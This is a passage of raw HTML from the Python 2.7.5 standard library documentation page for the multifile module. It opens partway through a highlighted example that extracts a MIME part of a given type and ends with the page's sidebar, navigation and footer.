class="p">(</span><span class="n">stream</span><span class="p">)</span> <span class="nb">file</span><span class="o">.</span><span class="n">push</span><span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">getparam</span><span class="p">(</span><span class="s">"boundary"</span><span class="p">))</span> <span class="k">while</span> <span class="nb">file</span><span class="o">.</span><span class="n">next</span><span class="p">():</span> <span class="n">submsg</span> <span class="o">=</span> <span class="n">mimetools</span><span class="o">.</span><span class="n">Message</span><span class="p">(</span><span class="nb">file</span><span class="p">)</span> <span class="k">try</span><span class="p">:</span> <span class="n">data</span> <span class="o">=</span> <span class="n">StringIO</span><span class="o">.</span><span class="n">StringIO</span><span class="p">()</span> <span class="n">mimetools</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="nb">file</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="n">submsg</span><span class="o">.</span><span class="n">getencoding</span><span class="p">())</span> <span class="k">except</span> <span class="ne">ValueError</span><span class="p">:</span> <span class="k">continue</span> <span class="k">if</span> <span class="n">submsg</span><span class="o">.</span><span class="n">gettype</span><span class="p">()</span> <span class="o">==</span> <span class="n">mimetype</span><span class="p">:</span> <span class="k">break</span> <span class="nb">file</span><span class="o">.</span><span class="n">pop</span><span class="p">()</span> <span class="k">return</span> <span class="n">data</span><span class="o">.</span><span class="n">getvalue</span><span class="p">()</span> </pre></div> </div> </div> </div> </div> </div> </div> <div class="sphinxsidebar"> <div class="sphinxsidebarwrapper"> <h3><a href="../contents.html">Table Of Contents</a></h3> <ul> <li><a class="reference internal" href="#">18.10. <tt class="docutils literal"><span class="pre">multifile</span></tt> — Support for files containing distinct parts</a><ul> <li><a class="reference internal" href="#multifile-objects">18.10.1. MultiFile Objects</a></li> <li><a class="reference internal" href="#multifile-example">18.10.2. <tt class="docutils literal"><span class="pre">MultiFile</span></tt> Example</a></li> </ul> </li> </ul> <h4>Previous topic</h4> <p class="topless"><a href="mimify.html" title="previous chapter">18.9. <tt class="docutils literal"><span class="pre">mimify</span></tt> — MIME processing of mail messages</a></p> <h4>Next topic</h4> <p class="topless"><a href="rfc822.html" title="next chapter">18.11. <tt class="docutils literal"><span class="pre">rfc822</span></tt> — Parse RFC 2822 mail headers</a></p> <h3>This Page</h3> <ul class="this-page-menu"> <li><a href="../bugs.html">Report a Bug</a></li> <li><a href="../_sources/library/multifile.txt" rel="nofollow">Show Source</a></li> </ul> <div id="searchbox" style="display: none"> <h3>Quick search</h3> <form class="search" action="../search.html" method="get"> <input type="text" name="q" /> <input type="submit" value="Go" /> <input type="hidden" name="check_keywords" value="yes" /> <input type="hidden" name="area" value="default" /> </form> <p class="searchtip" style="font-size: 90%"> Enter search terms or a module, class or function name. </p> </div> <script type="text/javascript">$('#searchbox').show(0);</script> </div> </div> <div class="clearer"></div> </div> <div class="related"> <h3>Navigation</h3> <ul> <li class="right" style="margin-right: 10px"> <a href="../genindex.html" title="General Index" >index</a></li> <li class="right" > <a href="../py-modindex.html" title="Python Module Index" >modules</a> |</li> <li class="right" > <a href="rfc822.html" title="18.11. rfc822 — Parse RFC 2822 mail headers" >next</a> |</li> <li class="right" > <a href="mimify.html" title="18.9. mimify — MIME processing of mail messages" >previous</a> |</li> <li><img src="../_static/py.png" alt="" style="vertical-align: middle; margin-top: -1px"/></li> <li><a href="http://www.python.org/">Python</a> »</li> <li> <a href="../index.html">Python 2.7.5 documentation</a> » </li> <li><a href="index.html" >The Python Standard Library</a> »</li> <li><a href="netdata.html" >18. Internet Data Handling</a> »</li> </ul> </div> <div class="footer"> © <a href="../copyright.html">Copyright</a> 1990-2020, Python Software Foundation. <br /> The Python Software Foundation is a non-profit corporation. <a href="http://www.python.org/psf/donations/">Please donate.</a> <br /> Last updated on Oct 13, 2020. <a href="../bugs.html">Found a bug</a>? <br /> Created using <a href="http://sphinx.pocoo.org/">Sphinx</a> 1.1.3. </div> </body> </html>
Close